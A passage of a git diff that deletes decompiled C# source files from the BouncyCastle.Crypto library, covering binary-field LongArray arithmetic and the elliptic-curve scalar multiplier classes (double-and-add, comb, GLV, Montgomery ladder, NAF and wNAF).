= num5; - array[num5] = array2[num6] ^ (num4 << num3); - ReduceWord(buf, off, toBit, num4, m, ks); - } - } - - private static void ReduceWord(long[] buf, int off, int bit, long word, int m, int[] ks) - { - int num = bit - m; - int num2 = ks.Length; - while (--num2 >= 0) - { - FlipWord(buf, off, num + ks[num2], word); - } - FlipWord(buf, off, num, word); - } - - private static void ReduceVectorWise(long[] buf, int off, int len, int words, int m, int[] ks) - { - int num = (words << 6) - m; - int num2 = ks.Length; - while (--num2 >= 0) - { - FlipVector(buf, off, buf, off + words, len - words, num + ks[num2]); - } - FlipVector(buf, off, buf, off + words, len - words, num); - } - - private static void FlipVector(long[] x, int xOff, long[] y, int yOff, int yLen, int bits) - { - xOff += bits >>> 6; - bits &= 0x3F; - if (bits == 0) - { - Add(x, xOff, y, yOff, yLen); - return; - } - long num = AddShiftedDown(x, xOff + 1, y, yOff, yLen, 64 - bits); - long[] array2; - long[] array = (array2 = x); - int num2 = xOff; - nint num3 = num2; - array[num2] = array2[num3] ^ num; - } - - public LongArray ModSquare(int m, int[] ks) - { - int usedLength = GetUsedLength(); - if (usedLength == 0) - { - return this; - } - int num = usedLength << 1; - long[] array = new long[num]; - int num2 = 0; - while (num2 < num) - { - long num3 = m_ints[num2 >>> 1]; - array[num2++] = Interleave2_32to64((int)num3); - array[num2++] = Interleave2_32to64((int)(num3 >>> 32)); - } - return new LongArray(array, 0, ReduceInPlace(array, 0, array.Length, m, ks)); - } - - public LongArray ModSquareN(int n, int m, int[] ks) - { - int num = GetUsedLength(); - if (num == 0) - { - return this; - } - int num2 = m + 63 >> 6; - long[] array = new long[num2 << 1]; - Array.Copy(m_ints, 0, array, 0, num); - while (--n >= 0) - { - SquareInPlace(array, num, m, ks); - num = ReduceInPlace(array, 0, array.Length, m, ks); - } - return new LongArray(array, 0, num); - } - - public LongArray Square(int m, int[] ks) - { - int usedLength = GetUsedLength(); - if (usedLength == 0) - { - return this; - } - int num = usedLength << 1; - long[] array = new long[num]; - int num2 = 0; - while (num2 < num) - { - long num3 = m_ints[num2 >>> 1]; - array[num2++] = Interleave2_32to64((int)num3); - array[num2++] = Interleave2_32to64((int)(num3 >>> 32)); - } - return new LongArray(array, 0, array.Length); - } - - private static void SquareInPlace(long[] x, int xLen, int m, int[] ks) - { - int num = xLen << 1; - while (--xLen >= 0) - { - long num2 = x[xLen]; - x[--num] = Interleave2_32to64((int)(num2 >>> 32)); - x[--num] = Interleave2_32to64((int)num2); - } - } - - private static void Interleave(long[] x, int xOff, long[] z, int zOff, int count, int width) - { - switch (width) - { - case 3: - Interleave3(x, xOff, z, zOff, count); - break; - case 5: - Interleave5(x, xOff, z, zOff, count); - break; - case 7: - Interleave7(x, xOff, z, zOff, count); - break; - default: - Interleave2_n(x, xOff, z, zOff, count, BitLengths[width] - 1); - break; - } - } - - private static void Interleave3(long[] x, int xOff, long[] z, int zOff, int count) - { - for (int i = 0; i < count; i++) - { - z[zOff + i] = Interleave3(x[xOff + i]); - } - } - - private static long Interleave3(long x) - { - long num = x & long.MinValue; - return num | Interleave3_21to63((int)x & 0x1FFFFF) | (Interleave3_21to63((int)(x >>> 21) & 0x1FFFFF) << 1) | (Interleave3_21to63((int)(x >>> 42) & 0x1FFFFF) << 2); - } - - private static long Interleave3_21to63(int x) - { - int num = INTERLEAVE3_TABLE[x & 0x7F]; - int num2 = INTERLEAVE3_TABLE[(x >>> 7) & 0x7F]; - int num3 = INTERLEAVE3_TABLE[x >>> 14]; - return ((num3 & 0xFFFFFFFFu) << 42) | ((num2 & 0xFFFFFFFFu) << 21) | (num & 0xFFFFFFFFu); - } - - private static void Interleave5(long[] x, int xOff, long[] z, int zOff, int count) - { - for (int i = 0; i < count; i++) - { - z[zOff + i] = Interleave5(x[xOff + i]); - } - } - - private static long Interleave5(long x) - { - return Interleave3_13to65((int)x & 0x1FFF) | (Interleave3_13to65((int)(x >>> 13) & 0x1FFF) << 1) | (Interleave3_13to65((int)(x >>> 26) & 0x1FFF) << 2) | (Interleave3_13to65((int)(x >>> 39) & 0x1FFF) << 3) | (Interleave3_13to65((int)(x >>> 52) & 0x1FFF) << 4); - } - - private static long Interleave3_13to65(int x) - { - int num = INTERLEAVE5_TABLE[x & 0x7F]; - int num2 = INTERLEAVE5_TABLE[x >>> 7]; - return ((num2 & 0xFFFFFFFFu) << 35) | (num & 0xFFFFFFFFu); - } - - private static void Interleave7(long[] x, int xOff, long[] z, int zOff, int count) - { - for (int i = 0; i < count; i++) - { - z[zOff + i] = Interleave7(x[xOff + i]); - } - } - - private static long Interleave7(long x) - { - long num = x & long.MinValue; - return num | INTERLEAVE7_TABLE[(int)x & 0x1FF] | (INTERLEAVE7_TABLE[(int)(x >>> 9) & 0x1FF] << 1) | (INTERLEAVE7_TABLE[(int)(x >>> 18) & 0x1FF] << 2) | (INTERLEAVE7_TABLE[(int)(x >>> 27) & 0x1FF] << 3) | (INTERLEAVE7_TABLE[(int)(x >>> 36) & 0x1FF] << 4) | (INTERLEAVE7_TABLE[(int)(x >>> 45) & 0x1FF] << 5) | (INTERLEAVE7_TABLE[(int)(x >>> 54) & 0x1FF] << 6); - } - - private static void Interleave2_n(long[] x, int xOff, long[] z, int zOff, int count, int rounds) - { - for (int i = 0; i < count; i++) - { - z[zOff + i] = Interleave2_n(x[xOff + i], rounds); - } - } - - private static long Interleave2_n(long x, int rounds) - { - while (rounds > 1) - { - rounds -= 2; - x = Interleave4_16to64((int)x & 0xFFFF) | (Interleave4_16to64((int)(x >>> 16) & 0xFFFF) << 1) | (Interleave4_16to64((int)(x >>> 32) & 0xFFFF) << 2) | (Interleave4_16to64((int)(x >>> 48) & 0xFFFF) << 3); - } - if (rounds > 0) - { - x = Interleave2_32to64((int)x) | (Interleave2_32to64((int)(x >>> 32)) << 1); - } - return x; - } - - private static long Interleave4_16to64(int x) - { - int num = INTERLEAVE4_TABLE[x & 0xFF]; - int num2 = INTERLEAVE4_TABLE[x >>> 8]; - return ((num2 & 0xFFFFFFFFu) << 32) | (num & 0xFFFFFFFFu); - } - - private static long Interleave2_32to64(int x) - { - int num = INTERLEAVE2_TABLE[x & 0xFF] | (INTERLEAVE2_TABLE[(x >>> 8) & 0xFF] << 16); - int num2 = INTERLEAVE2_TABLE[(x >>> 16) & 0xFF] | (INTERLEAVE2_TABLE[x >>> 24] << 16); - return ((num2 & 0xFFFFFFFFu) << 32) | (num & 0xFFFFFFFFu); - } - - public LongArray ModInverse(int m, int[] ks) - { - int num = Degree(); - switch (num) - { - case 0: - throw new InvalidOperationException(); - case 1: - return this; - default: - { - LongArray longArray = Copy(); - int intLen = m + 63 >> 6; - LongArray longArray2 = new LongArray(intLen); - ReduceBit(longArray2.m_ints, 0, m, m, ks); - LongArray longArray3 = new LongArray(intLen); - longArray3.m_ints[0] = 1L; - LongArray longArray4 = new LongArray(intLen); - int[] array = new int[2] - { - num, - m + 1 - }; - LongArray[] array2 = new LongArray[2] { longArray, longArray2 }; - int[] array3 = new int[2] { 1, 0 }; - LongArray[] array4 = new LongArray[2] { longArray3, longArray4 }; - int num2 = 1; - int num3 = array[num2]; - int num4 = array3[num2]; - int num5 = num3 - array[1 - num2]; - while (true) - { - if (num5 < 0) - { - num5 = -num5; - array[num2] = num3; - array3[num2] = num4; - num2 = 1 - num2; - num3 = array[num2]; - num4 = array3[num2]; - } - array2[num2].AddShiftedByBitsSafe(array2[1 - num2], array[1 - num2], num5); - int num6 = array2[num2].DegreeFrom(num3); - if (num6 == 0) - { - break; - } - int num7 = array3[1 - num2]; - array4[num2].AddShiftedByBitsSafe(array4[1 - num2], num7, num5); - num7 += num5; - if (num7 > num4) - { - num4 = num7; - } - else if (num7 == num4) - { - num4 = array4[num2].DegreeFrom(num4); - } - num5 += num6 - num3; - num3 = num6; - } - return array4[1 - num2]; - } - } - } - - public override bool Equals(object obj) - { - return Equals(obj as LongArray); - } - - public virtual bool Equals(LongArray other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - int usedLength = GetUsedLength(); - if (other.GetUsedLength() != usedLength) - { - return false; - } - for (int i = 0; i < usedLength; i++) - { - if (m_ints[i] != other.m_ints[i]) - { - return false; - } - } - return true; - } - - public override int GetHashCode() - { - int usedLength = GetUsedLength(); - int num = 1; - for (int i = 0; i < usedLength; i++) - { - long num2 = m_ints[i]; - num *= 31; - num ^= (int)num2; - num *= 31; - num ^= (int)(num2 >>> 32); - } - return num; - } - - public LongArray Copy() - { - return new LongArray(Arrays.Clone(m_ints)); - } - - public override string ToString() - { - int usedLength = GetUsedLength(); - if (usedLength == 0) - { - return "0"; - } - StringBuilder stringBuilder = new StringBuilder(Convert.ToString(m_ints[--usedLength], 2)); - while (--usedLength >= 0) - { - string text = Convert.ToString(m_ints[usedLength], 2); - int length = text.Length; - if (length < 64) - { - stringBuilder.Append("0000000000000000000000000000000000000000000000000000000000000000".Substring(length)); - } - stringBuilder.Append(text); - } - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/AbstractECMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/AbstractECMultiplier.cs deleted file mode 100644 index 4463bbd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/AbstractECMultiplier.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public abstract class AbstractECMultiplier : ECMultiplier -{ - public virtual ECPoint Multiply(ECPoint p, BigInteger k) - { - int signValue = k.SignValue; - if (signValue == 0 || p.IsInfinity) - { - return p.Curve.Infinity; - } - ECPoint eCPoint = MultiplyPositive(p, k.Abs()); - ECPoint p2 = ((signValue > 0) ? eCPoint : eCPoint.Negate()); - return CheckResult(p2); - } - - protected abstract ECPoint MultiplyPositive(ECPoint p, BigInteger k); - - protected virtual ECPoint CheckResult(ECPoint p) - { - return ECAlgorithms.ImplCheckResult(p); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/DoubleAddMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/DoubleAddMultiplier.cs deleted file mode 100644 index 2b9e540..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/DoubleAddMultiplier.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class DoubleAddMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - ECPoint[] array = new ECPoint[2] - { - p.Curve.Infinity, - p - }; - int bitLength = k.BitLength; - for (int i = 0; i < bitLength; i++) - { - int num = (k.TestBit(i) ? 1 : 0); - int num2 = 1 - num; - array[num2] = array[num2].TwicePlus(array[num]); - } - return array[0]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ECMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ECMultiplier.cs deleted file mode 100644 index 39a451f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ECMultiplier.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public interface ECMultiplier -{ - ECPoint Multiply(ECPoint p, BigInteger k); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointCombMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointCombMultiplier.cs deleted file mode 100644 index 56d6118..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointCombMultiplier.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class FixedPointCombMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - ECCurve curve = p.Curve; - int combSize = FixedPointUtilities.GetCombSize(curve); - if (k.BitLength > combSize) - { - throw new InvalidOperationException("fixed-point comb doesn't support scalars larger than the curve order"); - } - FixedPointPreCompInfo fixedPointPreCompInfo = FixedPointUtilities.Precompute(p); - ECLookupTable lookupTable = fixedPointPreCompInfo.LookupTable; - int width = fixedPointPreCompInfo.Width; - int num = (combSize + width - 1) / width; - ECPoint eCPoint = curve.Infinity; - int num2 = num * width; - uint[] array = Nat.FromBigInteger(num2, k); - int num3 = num2 - 1; - for (int i = 0; i < num; i++) - { - uint num4 = 0u; - for (int num5 = num3 - i; num5 >= 0; num5 -= num) - { - uint num6 = array[num5 >> 5] >> num5; - num4 ^= num6 >> 1; - num4 <<= 1; - num4 ^= num6; - } - ECPoint b = lookupTable.Lookup((int)num4); - eCPoint = eCPoint.TwicePlus(b); - } - return eCPoint.Add(fixedPointPreCompInfo.Offset); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointPreCompInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointPreCompInfo.cs deleted file mode 100644 index 705600b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointPreCompInfo.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class FixedPointPreCompInfo : PreCompInfo -{ - protected ECPoint m_offset = null; - - protected ECLookupTable m_lookupTable = null; - - protected int m_width = -1; - - public virtual ECLookupTable LookupTable - { - get - { - return m_lookupTable; - } - set - { - m_lookupTable = value; - } - } - - public virtual ECPoint Offset - { - get - { - return m_offset; - } - set - { - m_offset = value; - } - } - - public virtual int Width - { - get - { - return m_width; - } - set - { - m_width = value; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointUtilities.cs deleted file mode 100644 index 3787b22..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/FixedPointUtilities.cs +++ /dev/null @@ -1,88 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class FixedPointUtilities -{ - private class FixedPointCallback : IPreCompCallback - { - private readonly ECPoint m_p; - - internal FixedPointCallback(ECPoint p) - { - m_p = p; - } - - public PreCompInfo Precompute(PreCompInfo existing) - { - FixedPointPreCompInfo fixedPointPreCompInfo = ((existing is FixedPointPreCompInfo) ? ((FixedPointPreCompInfo)existing) : null); - ECCurve curve = m_p.Curve; - int combSize = GetCombSize(curve); - int num = ((combSize > 250) ? 6 : 5); - int num2 = 1 << num; - if (CheckExisting(fixedPointPreCompInfo, num2)) - { - return fixedPointPreCompInfo; - } - int e = (combSize + num - 1) / num; - ECPoint[] array = new ECPoint[num + 1]; - array[0] = m_p; - for (int i = 1; i < num; i++) - { - array[i] = array[i - 1].TimesPow2(e); - } - array[num] = array[0].Subtract(array[1]); - curve.NormalizeAll(array); - ECPoint[] array2 = new ECPoint[num2]; - array2[0] = array[0]; - for (int num3 = num - 1; num3 >= 0; num3--) - { - ECPoint b = array[num3]; - int num4 = 1 << num3; - for (int j = num4; j < num2; j += num4 << 1) - { - array2[j] = array2[j - num4].Add(b); - } - } - curve.NormalizeAll(array2); - FixedPointPreCompInfo fixedPointPreCompInfo2 = new FixedPointPreCompInfo(); - fixedPointPreCompInfo2.LookupTable = curve.CreateCacheSafeLookupTable(array2, 0, array2.Length); - fixedPointPreCompInfo2.Offset = array[num]; - fixedPointPreCompInfo2.Width = num; - return fixedPointPreCompInfo2; - } - - private bool CheckExisting(FixedPointPreCompInfo existingFP, int n) - { - if (existingFP != null) - { - return CheckTable(existingFP.LookupTable, n); - } - return false; - } - - private bool CheckTable(ECLookupTable table, int n) - { - if (table != null) - { - return table.Size >= n; - } - return false; - } - } - - public static readonly string PRECOMP_NAME = "bc_fixed_point"; - - public static int GetCombSize(ECCurve c) - { - return c.Order?.BitLength ?? (c.FieldSize + 1); - } - - public static FixedPointPreCompInfo GetFixedPointPreCompInfo(PreCompInfo preCompInfo) - { - return preCompInfo as FixedPointPreCompInfo; - } - - public static FixedPointPreCompInfo Precompute(ECPoint p) - { - return (FixedPointPreCompInfo)p.Curve.Precompute(p, PRECOMP_NAME, new FixedPointCallback(p)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/GlvMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/GlvMultiplier.cs deleted file mode 100644 index dc49ac4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/GlvMultiplier.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using Org.BouncyCastle.Math.EC.Endo; - -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class GlvMultiplier : AbstractECMultiplier -{ - protected readonly ECCurve curve; - - protected readonly GlvEndomorphism glvEndomorphism; - - public GlvMultiplier(ECCurve curve, GlvEndomorphism glvEndomorphism) - { - if (curve == null || curve.Order == null) - { - throw new ArgumentException("Need curve with known group order", "curve"); - } - this.curve = curve; - this.glvEndomorphism = glvEndomorphism; - } - - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - if (!curve.Equals(p.Curve)) - { - throw new InvalidOperationException(); - } - BigInteger order = p.Curve.Order; - BigInteger[] array = glvEndomorphism.DecomposeScalar(k.Mod(order)); - BigInteger k2 = array[0]; - BigInteger l = array[1]; - ECPointMap pointMap = glvEndomorphism.PointMap; - if (glvEndomorphism.HasEfficientPointMap) - { - return ECAlgorithms.ImplShamirsTrickWNaf(p, k2, pointMap, l); - } - return ECAlgorithms.ImplShamirsTrickWNaf(p, k2, pointMap.Map(p), l); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/IPreCompCallback.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/IPreCompCallback.cs deleted file mode 100644 index de999d9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/IPreCompCallback.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public interface IPreCompCallback -{ - PreCompInfo Precompute(PreCompInfo existing); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/MixedNafR2LMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/MixedNafR2LMultiplier.cs deleted file mode 100644 index 3914de9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/MixedNafR2LMultiplier.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class MixedNafR2LMultiplier : AbstractECMultiplier -{ - protected readonly int additionCoord; - - protected readonly int doublingCoord; - - public MixedNafR2LMultiplier() - : this(2, 4) - { - } - - public MixedNafR2LMultiplier(int additionCoord, int doublingCoord) - { - this.additionCoord = additionCoord; - this.doublingCoord = doublingCoord; - } - - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - ECCurve curve = p.Curve; - ECCurve eCCurve = ConfigureCurve(curve, additionCoord); - ECCurve eCCurve2 = ConfigureCurve(curve, doublingCoord); - int[] array = WNafUtilities.GenerateCompactNaf(k); - ECPoint eCPoint = eCCurve.Infinity; - ECPoint eCPoint2 = eCCurve2.ImportPoint(p); - int num = 0; - foreach (int num2 in array) - { - int num3 = num2 >> 16; - num += num2 & 0xFFFF; - eCPoint2 = eCPoint2.TimesPow2(num); - ECPoint eCPoint3 = eCCurve.ImportPoint(eCPoint2); - if (num3 < 0) - { - eCPoint3 = eCPoint3.Negate(); - } - eCPoint = eCPoint.Add(eCPoint3); - num = 1; - } - return curve.ImportPoint(eCPoint); - } - - protected virtual ECCurve ConfigureCurve(ECCurve c, int coord) - { - if (c.CoordinateSystem == coord) - { - return c; - } - if (!c.SupportsCoordinateSystem(coord)) - { - throw new ArgumentException("Coordinate system " + coord + " not supported by this curve", "coord"); - } - return c.Configure().SetCoordinateSystem(coord).Create(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/MontgomeryLadderMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/MontgomeryLadderMultiplier.cs deleted file mode 100644 index 63eb025..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/MontgomeryLadderMultiplier.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class MontgomeryLadderMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - ECPoint[] array = new ECPoint[2] - { - p.Curve.Infinity, - p - }; - int bitLength = k.BitLength; - int num = bitLength; - while (--num >= 0) - { - int num2 = (k.TestBit(num) ? 1 : 0); - int num3 = 1 - num2; - array[num3] = array[num3].Add(array[num2]); - array[num2] = array[num2].Twice(); - } - return array[0]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/NafL2RMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/NafL2RMultiplier.cs deleted file mode 100644 index c1cdbba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/NafL2RMultiplier.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class NafL2RMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - int[] array = WNafUtilities.GenerateCompactNaf(k); - ECPoint eCPoint = p.Normalize(); - ECPoint eCPoint2 = eCPoint.Negate(); - ECPoint eCPoint3 = p.Curve.Infinity; - int num = array.Length; - while (--num >= 0) - { - int num2 = array[num]; - int num3 = num2 >> 16; - int e = num2 & 0xFFFF; - eCPoint3 = eCPoint3.TwicePlus((num3 < 0) ? eCPoint2 : eCPoint); - eCPoint3 = eCPoint3.TimesPow2(e); - } - return eCPoint3; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/NafR2LMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/NafR2LMultiplier.cs deleted file mode 100644 index eeef85b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/NafR2LMultiplier.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class NafR2LMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - int[] array = WNafUtilities.GenerateCompactNaf(k); - ECPoint eCPoint = p.Curve.Infinity; - ECPoint eCPoint2 = p; - int num = 0; - foreach (int num2 in array) - { - int num3 = num2 >> 16; - num += num2 & 0xFFFF; - eCPoint2 = eCPoint2.TimesPow2(num); - eCPoint = eCPoint.Add((num3 < 0) ? eCPoint2.Negate() : eCPoint2); - num = 1; - } - return eCPoint; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/PreCompInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/PreCompInfo.cs deleted file mode 100644 index 9a55531..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/PreCompInfo.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public interface PreCompInfo -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ReferenceMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ReferenceMultiplier.cs deleted file mode 100644 index 13d48e8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ReferenceMultiplier.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class ReferenceMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - return ECAlgorithms.ReferenceMultiply(p, k); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ValidityPreCompInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ValidityPreCompInfo.cs deleted file mode 100644 index 9e1da95..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ValidityPreCompInfo.cs +++ /dev/null @@ -1,42 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -internal class ValidityPreCompInfo : PreCompInfo -{ - internal static readonly string PRECOMP_NAME = "bc_validity"; - - private bool failed = false; - - private bool curveEquationPassed = false; - - private bool orderPassed = false; - - internal bool HasFailed() - { - return failed; - } - - internal void ReportFailed() - { - failed = true; - } - - internal bool HasCurveEquationPassed() - { - return curveEquationPassed; - } - - internal void ReportCurveEquationPassed() - { - curveEquationPassed = true; - } - - internal bool HasOrderPassed() - { - return orderPassed; - } - - internal void ReportOrderPassed() - { - orderPassed = true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafL2RMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafL2RMultiplier.cs deleted file mode 100644 index 715d819..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafL2RMultiplier.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class WNafL2RMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - int num = System.Math.Max(2, System.Math.Min(16, GetWindowSize(k.BitLength))); - WNafPreCompInfo wNafPreCompInfo = WNafUtilities.Precompute(p, num, includeNegated: true); - ECPoint[] preComp = wNafPreCompInfo.PreComp; - ECPoint[] preCompNeg = wNafPreCompInfo.PreCompNeg; - int[] array = WNafUtilities.GenerateCompactWindowNaf(num, k); - ECPoint eCPoint = p.Curve.Infinity; - int num2 = array.Length; - if (num2 > 1) - { - int num3 = array[--num2]; - int num4 = num3 >> 16; - int num5 = num3 & 0xFFFF; - int num6 = System.Math.Abs(num4); - ECPoint[] array2 = ((num4 < 0) ? preCompNeg : preComp); - if (num6 << 2 < 1 << num) - { - int num7 = LongArray.BitLengths[num6]; - int num8 = num - num7; - int num9 = num6 ^ (1 << num7 - 1); - int num10 = (1 << num - 1) - 1; - int num11 = (num9 << num8) + 1; - eCPoint = array2[num10 >> 1].Add(array2[num11 >> 1]); - num5 -= num8; - } - else - { - eCPoint = array2[num6 >> 1]; - } - eCPoint = eCPoint.TimesPow2(num5); - } - while (num2 > 0) - { - int num12 = array[--num2]; - int num13 = num12 >> 16; - int e = num12 & 0xFFFF; - int num14 = System.Math.Abs(num13); - ECPoint[] array3 = ((num13 < 0) ? preCompNeg : preComp); - ECPoint b = array3[num14 >> 1]; - eCPoint = eCPoint.TwicePlus(b); - eCPoint = eCPoint.TimesPow2(e); - } - return eCPoint; - } - - protected virtual int GetWindowSize(int bits) - { - return WNafUtilities.GetWindowSize(bits); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafPreCompInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafPreCompInfo.cs deleted file mode 100644 index 94602a0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafPreCompInfo.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class WNafPreCompInfo : PreCompInfo -{ - protected ECPoint[] m_preComp = null; - - protected ECPoint[] m_preCompNeg = null; - - protected ECPoint m_twice = null; - - public virtual ECPoint[] PreComp - { - get - { - return m_preComp; - } - set - { - m_preComp = value; - } - } - - public virtual ECPoint[] PreCompNeg - { - get - { - return m_preCompNeg; - } - set - { - m_preCompNeg = value; - } - } - - public virtual ECPoint Twice - { - get - { - return m_twice; - } - set - { - m_twice = value; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafUtilities.cs deleted file mode 100644 index 8c2811c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WNafUtilities.cs +++ /dev/null @@ -1,518 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public abstract class WNafUtilities -{ - private class MapPointCallback : IPreCompCallback - { - private 